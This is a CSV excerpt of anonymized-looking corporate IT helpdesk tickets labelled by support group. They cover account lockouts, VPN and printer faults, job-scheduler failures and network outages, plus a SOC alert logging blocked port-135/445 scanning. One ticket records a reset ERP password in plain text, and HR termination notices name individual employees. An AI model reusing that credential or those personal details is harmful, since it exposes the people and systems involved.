+_x000D_ +received from: qdxyifhj.zbwtunpy@gmail.com_x000D_ +_x000D_ +in ticketing_tool is for user cytohwau qfunricw no email available. see picture._x000D_ +_x000D_ +[cid:image001.png@01d1f6e2.c3dff050]_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_34 +"crm not working _x000D_ +_x000D_ +received from: vomtbcej.lyiwqrct@gmail.com_x000D_ +_x000D_ +dear sir;_x000D_ +_x000D_ +i had tried to open crm. please see here the attachment for the message while opening the same._x000D_ +_x000D_ +_x000D_ +[cid:image001.jpg@01d1f6ff.3cddd780]_x000D_ +_x000D_ +",GRP_22 +"abended job in job_scheduler: Job_593 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_593 at 08/15/16 04:06:29",GRP_8 +business_client brings error when launched business_client brings error when launched,GRP_0 +"programdnty zmmtaxupd : sales organization selection crieria doesnt work; please disable programdnty temporarlly programdnty zmmtaxupd updates tax classification for all the sales organization irrespective of selection criteria; programdnty exection impacts apo jobs; for india sales org, there are two tax classifications fields which were updated with incorrect values last week",GRP_10 +windows account locked in ad windows account locked in ad,GRP_0 +user is getting unlicensed error in office user is getting unlicensed error in office,GRP_0 +"答复: email address link to delivery not 转发: 9168020730//supply_chaint09t308lf kc5010的快递单号出来了吗？ _x000D_ +_x000D_ +received from: jkmeusfq.vjpckzsa@gmail.com_x000D_ +_x000D_ +hello，_x000D_ +请催一下新加坡。谢谢！_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +顺祝商祺_x000D_ +best ",GRP_18 +not able to view attachments from outlook not able to view attachments from outlook,GRP_0 +"pc ewkw8111185 funktioniert nicht (pc lässt sich anschalten von: cytohwau qfunricw +gesendet: donnerstag, 11. august 2016 15:23 +an: nwfodmhc exurcwkm +betreff: pc ewkw8111185/ qdxyifhj zbwtunpy + +pc ewkw8111185 funktioniert nicht (pc lässt sich anschalten, danach ist kein arbeiten am pc möglich, auch mit anderer tastatur versucht, keine änderung) + + +mit freundlichen grüßen +cytohwau qfunricw +grinding service germany +cytohwau.qfunricw@gmail.com +",GRP_33 +"abended job in job_scheduler: Job_483 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_483 at 08/15/16 02:52:28",GRP_8 +"issues with posting to the hub _x000D_ +_x000D_ +received from: fmjeaoih.ndyezlkb@gmail.com_x000D_ +_x000D_ +hi all,_x000D_ +i am having an issue posting news to the hub._x000D_ +_x000D_ +when uploading new pictures for the news carousel to the site below,_x000D_ +the links which are created have no jpg ending and therefore when inserting_x000D_ +to the news carousel the pictures don't show up correctly._x000D_ +_x000D_ +_x000D_ +i would need this fixed within today as there are several news that should go out._x000D_ +",GRP_16 +"tablet - dell 7350 -无法连接无线wifi网络，无线ap，手机热点都不能连接。 please provide details of the issue._x000D_ +无法连接无线wifi网络，无线ap，手机热点都不能连接。",GRP_31 +"locked out of account _x000D_ +_x000D_ +received from: ubdihsop.ahyeqpmx@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please assist vnglqiht sebxvtdj to access his account as he forgot his password._x000D_ +_x000D_ +we need this urgent please?_x000D_ +_x000D_ +kind ",GRP_0 +"require set up mobile link company e-mail + +received from: przndfbo.pldqbhtn@gmail.com + +it, + +please kindly set up mobile link company e-mail. +user : fbmugzrl ahyiuqev +model :iphone6 (16 gb) + +",GRP_0 +"oa35818597, inwarehouse_tool 0158921930 was created but no accounting document. please double check and help to solve this proble oa35818597, inwarehouse_tool 0158921930 was created but no accounting document. please double check and help to solve this problem.",GRP_18 +vpn 不能登录，网页一直在检查防病毒软件。 vpn 不能登录，网页一直在检查防病毒软件。,GRP_31 +文件无法通过打印机fe08打印 文件无法通过打印机fe08打印,GRP_30 +erp can not print by fe08. please help me switch to fe10 print. it is urgent. erp can not print by fe08. please help me switch to fe10 print. it is urgent.,GRP_14 +"dell battery failure. + +received from: rxoynvgi.ntgdsehl@gmail.com + +hi ti team + +need your assistant on the attached issue. + +hydstheud mddwwyleh +operation supervisor +company distribution services of asia pte ltd +( asia regional distribution centre) + +email : rxoynvgi.ntgdsehl@gmail.com",GRP_19 +"damaged laptop from: zrpemyab xvzwcbha +sent: monday, august 15, 2016 7:02 am +to: nwfodmhc exurcwkm; bmhxwvys tdmgolwn; bmhxwvys tdmgolwn +subject: rad:fw: damaged laptop + +dear it help, + +please help suhrhtyju to sort out issue with his laptop. + +he is based in indonesia + +his contact details are as mentioned below + + +suhrhtyju +application engineer +bmhxwvys.tdmgolwn@gmail.com + + + +",GRP_19 +windows 系统无法登录提示计算机与主域之前信任关系失败 windows 系统无法登录提示计算机与主域之前信任关系失败,GRP_31 +"erp purchasing error when i tried to submit the ""describe what you need"" it shows""no data found for employee '1111154833'; inform system administration"" please help with it i have several orders to send out！this problem has been existed for a week and no one contact me to solve it！",GRP_29 +显示器不亮 早上开机后显示器不出图像。,GRP_30 +"vpn connection issue vpn connection issue_x000D_ +-connected to the user system using teamviewer._x000D_ +-installed the company vpn drivers._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"abended job in job_scheduler: Job_3186 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_3186 at 08/14/16 20:01:28",GRP_10 +"abended job in job_scheduler: Job_2114 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_2114 at 08/14/16 17:32:28",GRP_9 +"queue 'dmz_all' failed to connect to hub /lhqsm665dom/HostName_772/HostName_772/hub observing below alert in reporting_tool since 7:33 am on 8/14 et after reporting_tool reboot_x000D_ +_x000D_ +queue 'dmz_all' failed to connect to hub /lhqsm665dom/HostName_772/HostName_772/hub",GRP_8 +sao-palo-2960-switch-i(45.25.35.049) is down since 8:00 am on 08/14 et sao-palo-2960-switch-i(45.25.35.049) is down since 8:00 am on 08/14 et,GRP_8 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-unlocked and reset the erp id to""daypay3""._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"abended job in job_scheduler: snp_heu_5_regen received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: snp_heu_5_regen at 08/14/16 12:40:30",GRP_6 +"problem with sending discount request + +received from: vkzwafuh.tcjnuswg@gmail.com + +hi, +i'm having a problem with sending discount requests. i get the below error when i hit submit request. i had this problem last week but when i connected to vpn it sent the request. i thought the problem was solved but it is still happening. please advise. + +[cid:image001.jpg@01d1f61a.0223ac90] + +vkzwafuh tcjnuswg - cmp +sr. application eng. +vkzwafuh.tcjnuswg@gmail.com + + + +",GRP_0 +"na production files not received _x000D_ +_x000D_ +received from: rdfjsawg.zpmxgdcw@gmail.com_x000D_ +_x000D_ +assign to pi team. files not transferred as per schedule. even last week we had the same problem._x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_71 +"office 365 sprache ändern/ videos aus ""thehub"" funktionieren nicht. hallo, ist es möglich das ich office365 von englisch auf deutsch umstelle? wenn ja wo finde ich diese einstellung?_x000D_ +_x000D_ +wenn ich die videos von ""lets talk"" in deutsch ansehen möchte und diese über den link in der email anklicke sagt er mir:_x000D_ +_x000D_ +office 365 video isn't available _x000D_ +_x000D_ +office 365 video is not enabled by your organization for you. _x000D_ +_x000D_ +hier ein link:_x000D_ +_x000D_ +vielen dank für ihre hilfe",GRP_0 +"abended job in job_scheduler: snp_heu_1_regen received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: snp_heu_1_regen at 08/14/16 05:51:27",GRP_6 +"abended job in job_scheduler: bk_hana_SID_62_erp_wly_dp received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: bk_hana_SID_62_erp_wly_dp at 08/14/16 05:03:28",GRP_8 +"abended job in job_scheduler: SID_37hoti received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_37hoti at 08/14/16 05:03:28",GRP_8 +"HostName_216 (erp-SID_51 aprtgghj4k- production): average (1 samples) disk free on /home is now 13% HostName_216 (erp-SID_51 aprtgghj4k- production): average (1 samples) disk free on /home is now 13%, which is below the warning threshold (15%) out of total size 0.5 gb",GRP_14 +"HostName_214 (erp-SID_51 app1-production): average (1 samples) disk free on /home is now 15% HostName_214 (erp-SID_51 app1-production): average (1 samples) disk free on /home is now 15%, which is below the warning threshold (15%) out of total size 0.5 gb",GRP_14 +HostName_768(corporate file server (teams) - production): server is inactive HostName_768(corporate file server (teams) - production): server is inactive,GRP_12 +"abended job in job_scheduler: Job_1343 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1343 at 08/14/16 01:39:32",GRP_9 +"abended job in job_scheduler: SID_9cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_9cold at 08/14/16 01:11:30",GRP_8 +"abended job in job_scheduler: SID_23cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_23cold at 08/13/16 21:40:28",GRP_5 +network drives disconnected unable to connect to t drive ,GRP_0 +"abended job in job_scheduler: SID_29cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_29cold at 08/13/16 20:56:26",GRP_8 +"abended job in job_scheduler: SID_32cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_32cold at 08/13/16 20:56:26",GRP_8 +"abended job in job_scheduler: Job_727 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_727 at 08/13/16 20:53:27",GRP_8 +"HostName_1238 ( south_amerirtca, br -plm dsc file - production) dsccache.exe: wrong number of instances of process dsccache.exe HostName_1238 ( south_amerirtca, br -plm dsc file - production) dsccache.exe: wrong number of instances of process dsccache.exe, expected instances gte 1 but found 0 _x000D_ +_x000D_ +note: there was a planned power maintenance at south_amerirtca as per chg1144678 service did not come up after the maintenance._x000D_ +",GRP_14 +"abended job in job_scheduler: Job_717 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_717 at 08/13/16 20:38:26",GRP_8 +"abended job in job_scheduler: SID_36cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_36cold at 08/13/16 20:23:27",GRP_8 +"abended job in job_scheduler: Job_571 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_571 at 08/13/16 20:23:27",GRP_8 +"abended job in job_scheduler: SID_48cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_48cold at 08/13/16 20:22:26",GRP_5 +"abended job in job_scheduler: SID_43cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_43cold at 08/13/16 20:16:27",GRP_5 +"abended job in job_scheduler: SID_50cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_50cold at 08/13/16 20:14:27",GRP_5 +"abended job in job_scheduler: Job_737 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_737 at 08/13/16 20:11:27",GRP_8 +"abended job in job_scheduler: SID_79cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_79cold at 08/13/16 20:11:27",GRP_5 +"abended job in job_scheduler: SID_27hot received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_27hot at 08/13/16 20:09:27",GRP_5 +"mii login issue mii login issue._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and reset the password._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that she was able to login._x000D_ +-issue resolved.",GRP_0 +"abended job in job_scheduler: SID_35cold received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_35cold at 08/13/16 19:15:25",GRP_8 +":i am getting the following message when trying to log in to SID_34. logon balancing error 88: could not connect to messag name:htsnaodb adjtmlzn +language: +browser:microsoft internet explorer +email:karghyuen.hasghyusan@company.como +customer number: +telephone: +summary:i am getting the following message when trying to log in to SID_34. logon balancing error 88: could not connect to message server. is erp down right now?",GRP_0 +"HostName_1015: average (4 samples) disk free on m:\ is now 15%, which is below the warning threshold (15%) HostName_1015: average (4 samples) disk free on m:\ is now 15%, which is below the warning threshold (15%) out of total size 139.4 gb",GRP_12 +"job in job_scheduler: Job_2080 was running long. received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_2080 was running longer > 60min. kirtyled and restarted.",GRP_6 +"abended job in job_scheduler: Job_1989 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1989 at 08/13/16 06:19:28",GRP_6 +"abended job in job_scheduler: Job_1907 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1907 at 08/13/16 06:18:28",GRP_6 +"abended job in job_scheduler: Job_1949 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1949 at 08/13/16 06:17:28",GRP_6 +reset passwords for jcmxerol nbfyczqr using password_management_tool password reset. the,GRP_17 +" reset microsoft online services password for rdwpangu.lybaxonw@gmail.com from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com] +sent: saturday, august 13, 2016 7:24 am +to: nwfodmhc exurcwkm +cc: tiyhum kuyiomar +subject: rad:request to reset microsoft online services password for rdwpangu.lybaxonw@gmail.com +importance: high + + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• rdwpangu.lybaxonw@gmail.com +• first name: rolghtyuando +• last name: santolgiy + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + + +",GRP_0 +"vpn connection problem _x000D_ +_x000D_ +received from: cobsfvjz.apkqmrdu@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +unable to connect to vpn ._x000D_ +_x000D_ +get the below message ._x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image001.jpg@01d1f566.c5bfdd90]_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +"network outage:cantabria (mecftgobusa) - (kenci) hard down since 2:31 am 8/13/2016 est what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________2:31 am 8/13/2016 est_____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ___email______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____no_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____no______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___no____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) __________no_______________ _x000D_ +_x000D_ +12. notified gsc ____yes____ (yes/no/na) cert started ?___na_____ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"abended job in job_scheduler: Job_1148 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1148 at 08/13/16 01:15:26",GRP_9 +"abended job in job_scheduler: Job_1141 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1141 at 08/12/16 23:45:26",GRP_9 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +"a termination for carlos patino, 11386155, effective 06/30/2016 has been approved from: idelcia almeida nascimento [mailto:system@hr_tool.com] _x000D_ +sent: friday, august 12, 2016 9:45 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +subject: rakthyesh the terminate action for carlos patino has completed._x000D_ +_x000D_ +hello , _x000D_ +_x000D_ +a termination for carlos patino, 11386155, effective 06/30/2016 has been approved._x000D_ +_x000D_ +click the link to view._x000D_ +_x000D_ +",GRP_2 +"access denied in adoption scorecard manager user is unable to view adoption scorecard manager in microsoft crm dynamics, please check screenshot",GRP_22 +"i should be able to see all my activities in crm what i created in outlook. hi, + + +i was wondering if i should be able to see all my activities in crm what i created in outlook. example emails, task , appointments? right now i can only see my appointment as you can see below. + + + + + +uvrwikmy yusexirn +sr application technician +uvrwikmy.yusexirn@gmail.com + + + + + +",GRP_22 +"circuit outage : india, kirty telecom_vendor_1 circuit is down since 07:24pm et on 08/12. what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______07:24pm et on 08/12._______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ______ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ________ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +unable to sign in to collaboration_platform unable to sign in to collaboration_platform,GRP_0 +"abended job in job_scheduler: hr_tooldcvcgenratn received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: hr_tooldcvcgenratn at 08/12/16 17:02:29",GRP_6 +"analysis for office issue _x000D_ +_x000D_ +received from: nlearzwi.ukdzstwi@gmail.com_x000D_ +_x000D_ +this has been happening every time i try to filter by customer number in bex or hana. i am using both systems, primarily hana otc_billings_all, but i think the issue is regarding the client._x000D_ +_x000D_ +i have tried filtering by copying and pasting and also by importing a text file with the same result._x000D_ +_x000D_ +any idea how to fix this error? i can't find the log file it references. ",GRP_9 +"phone display from: judi elituytt _x000D_ +sent: saturday, august 13, 2016 12:06 am_x000D_ +to: nmzfdlar whzbrusx; -facility; nwfodmhc exurcwkm_x000D_ +subject: amar re: phone display_x000D_ +_x000D_ +hi johthryu – we are forwarding your request to the help desk. it help desk is the contact for any phone issues. ",GRP_37 +"termination for cyxieuwk rekwlqmu, 00064847 hello , _x000D_ +_x000D_ +a termination for cyxieuwk rekwlqmu, 11175958, effective 07/02/2016 has been approved._x000D_ +_x000D_ +click the link to view._x000D_ +_x000D_ +",GRP_2 +"HostName_1289: account is locked HostName_1289: account is locked.. please unlock the account._x000D_ +username: hq4nopr ",GRP_2 +"security incidents - ( #in33578632) : suspicious ms-rpc/ms-ds/netbios activity - HostName_17 source ip :_x000D_ +system name :_x000D_ +user name:_x000D_ +location :_x000D_ +sep , sms status :_x000D_ +field sales user ( yes / no) : _x000D_ +dsw event log:see below_x000D_ +=========================================_x000D_ +_x000D_ + =========================_x000D_ +incident overview_x000D_ +=========================_x000D_ +we have detected at least 236 occurrences of your firewall att-singapore-asa.company.com-1/54.96.80.216 dropping traffic sourcing from HostName_17/29.26.13.3095 and destined to port 135 of one or more destination devices. this activity may indicate one of the following:_x000D_ + 1. an infection on this host_x000D_ + 2. a misconfigured firewall_x000D_ + 3. a misconfigured host_x000D_ + 4. port scan (authorized or unauthorized)_x000D_ +_x000D_ +we are escalating this incident to you via a high priority ticket and a phone call per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . _x000D_ +_x000D_ +1) ticket only escalation for these alerts where the traffic was blocked (explicit notification via a medium priority ticket (no phone call))_x000D_ +2) automatically resolve these alerts where the traffic was blocked to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_ +_x000D_ +sincerely,_x000D_ +secureworks soc_x000D_ +_x000D_ +=========================_x000D_ +technical details_x000D_ +=========================_x000D_ +historically, there have been various worms/malware that have used ports 135, 137, 138, 139, and 445 to propagate. examples include:_x000D_ +-w32.blaster.worm/msblast/lovsan _x000D_ +-w32.welchia/nachi_x000D_ +-w32.reatle_x000D_ +_x000D_ +port 135 - microsoft epmap (end point mapper), also known as dce/rpc locator service_x000D_ +_x000D_ +port 137 - netbios netbios name service_x000D_ +_x000D_ +port 138 - netbios netbios datagramdnty service_x000D_ +_x000D_ +port 139 - netbios netbios session service_x000D_ +_x000D_ +port 445 - microsoft-ds smb file sharing_x000D_ +_x000D_ +additional information on these ports and best practices can be found at the following sites:_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +references_x000D_ +=========================_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +=========================_x000D_ +event data_x000D_ +=========================_x000D_ +related events: _x000D_ +event id: 91557862_x000D_ +event summary: internal outbreak for 135/tcp_x000D_ +occurrence count: 236_x000D_ +event count: 2_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 29.26.13.3095_x000D_ +source hostname: HostName_17_x000D_ +source port: 58280_x000D_ +destination port: 135_x000D_ +connection directionality: internal_x000D_ +_x000D_ +device information_x000D_ +device ip: 54.96.80.216_x000D_ +device name: att-singapore-asa.company.com-1_x000D_ +log time: 2016-08-11 at 19:45:48 utc_x000D_ +action: blocked_x000D_ +cvss score: -1 _x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 537074_x000D_ +inspector rule id: 186739_x000D_ +inspector event id: 877942065_x000D_ +ontology id: 200020003203009162_x000D_ +event type id: 200020003203009062_x000D_ +agent id: 103955_x000D_ +_x000D_ +event detail:_x000D_ +aug 1sartlgeo lhqksbdx9:45:48 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58280 dst outside:192.168.254.10/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:45:51 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/58285 to 10.59.24.137/135 flags syn on interface inside_x000D_ +aug 1sartlgeo lhqksbdx9:45:51 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58286 dst outside:192.168.54.59/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:45:51 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58287 dst outside:192.168.1.100/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:45:54 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58291 dst outside:192.168.1.87/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:45:56 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58293 dst outside:192.168.0.108/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:45:57 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/58297 to 10.106.15.23/135 flags syn on interface inside_x000D_ +aug 1sartlgeo lhqksbdx9:46:02 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58304 dst outside:192.168.88.104/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:28 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58330 dst outside:192.168.21.253/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:28 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58331 dst outside:192.168.1.182/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:29 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58333 dst outside:192.168.0.109/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:31 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58337 dst outside:192.168.43.163/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:34 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58343 dst outside:192.168.43.140/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:36 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58347 dst outside:217.168.208.218/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:40 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58357 dst outside:192.168.1.13/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:42 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58363 dst outside:192.168.0.103/135 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +event id: 91557863_x000D_ +event summary: internal outbreak for 135/tcp_x000D_ +occurrence count: 236_x000D_ +event count: 2_x000D_ +_x000D_ +host and connection information_x000D_ +source ip: 29.26.13.3095_x000D_ +source hostname: HostName_17_x000D_ +source port: 58280_x000D_ +destination port: 135_x000D_ +connection directionality: internal_x000D_ +_x000D_ +device information_x000D_ +device ip: 54.96.80.216_x000D_ +device name: att-singapore-asa.company.com-1_x000D_ +log time: 2016-08-11 at 19:45:48 utc_x000D_ +action: blocked_x000D_ +cvss score: -1 _x000D_ +_x000D_ +scwx event processing information_x000D_ +sherlock rule id (sle): 537074_x000D_ +inspector rule id: 186739_x000D_ +inspector event id: 877942065_x000D_ +ontology id: 200020003203009162_x000D_ +event type id: 200020003203009062_x000D_ +agent id: 103955_x000D_ +_x000D_ +event detail:_x000D_ +aug 1sartlgeo lhqksbdx9:45:53 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58288 dst outside:192.168.54.59/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:45:53 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58289 dst outside:192.168.1.100/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:45:56 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58292 dst outside:192.168.1.87/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:45:57 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58296 dst outside:192.168.0.108/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:02 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/58303 to 10.33.53.207/445 flags syn on interface inside_x000D_ +aug 1sartlgeo lhqksbdx9:46:04 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58305 dst outside:192.168.88.104/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:12 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/58316 to 10.59.24.137/445 flags syn on interface inside_x000D_ +aug 1sartlgeo lhqksbdx9:46:18 54.96.80.216 %asa-2-106001: inbound tcp connection denied from 29.26.13.3095/58319 to 10.106.15.23/445 flags syn on interface inside_x000D_ +aug 1sartlgeo lhqksbdx9:46:29 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58332 dst outside:192.168.21.253/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:30 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58334 dst outside:192.168.1.182/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:31 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58336 dst outside:192.168.0.109/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:33 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58340 dst outside:192.168.43.163/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:35 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58345 dst outside:192.168.43.140/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:38 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58351 dst outside:217.168.208.218/445 by access-group ""acl_inside"" [0x0, 0x0]_x000D_ +aug 1sartlgeo lhqksbdx9:46:41 54.96.80.216 %asa-4-106023: deny tcp src inside:29.26.13.3095/58360 dst outside:192.168.1.13/445 